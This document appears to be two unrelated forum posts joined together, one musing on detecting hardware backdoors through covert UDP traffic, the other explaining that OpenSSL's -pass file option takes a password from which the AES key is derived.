You are unlikely to detect a backdoor even by disassembly. These things are baked in to chipsets that maybe the BIOS doesn't even touch.

Perhaps, if you install a mirror port on your line then monitor to see if there is encrypted UDP traffic being transmitted to somewhere. UDP doesn't need a reply from the far endpoint. It doesn't even need to be sent to a real IP address - the authorities will intercept it in transit. Lack of a real IP target means its 'deniable' and untraceable back to who is the actual receiver, or if it is a real IP, it could be a false diversion.

I imagine if you work in the North Korean embassy even this is not sufficient.

If the authorities go looking for needles in all the haystacks they will find lots of sharp pointy things that aren't needles. The false positives will be your problem not theirs.


Why does this key get Base64 encoded prior to use? I wish to have my server encrypt messages to clients who have each provided the server with an RSA public key, as well as having the clients authenticate their messages to the server using their matching private key. Before starting development—to help me and the other developers understand what would be involved—I created toy scripts that performed each step using OpenSSL (v0.9.8zg July 2015).

When figuring out what the OpenSSL commands would be, I used this page as a reference, but it left me with two questions:

Why is the generated key used for AES-256 encoded in Base64 prior to its use in AES-256 and its encryption under RSA?
Is it even safe to encrypt a 256-bit key without knowing how large the RSA key is? According to this answer, if it’s a 2048-bit RSA key, at most I would be able to use AES-192. (As pointed out by @AgentME, this was based on a misreading of that answer.)

Short answer: because it isn't actually a key, it's a password, and passwords have to be made up of printable characters.

In this line, which encrypts the file:

openssl enc -aes-256-cbc -salt -in SECRET_FILE -out SECRET_FILE.enc -pass file:./key.bin

the -pass file:filename option to the openssl enc command is used for passing in a password or passphrase, not for passing in the actual 256-bit AES key that the file will be encrypted with. The key itself is derived from the password by OpenSSL using a key derivation algorithm.

In the example you posted, key.bin very much looks like it could be a binary encryption key, but it's actually just a very misleadingly named file.

The reason for generating a encryption password like they are doing is that if the password does not have to be remembered by a user or typed in (in this case it's being stored in a file encrypted using an RSA public key), you may as well generate a random one with the same number of bits of entropy as the key that will be derived from it (any more is a waste of time), to make it as strong as possible.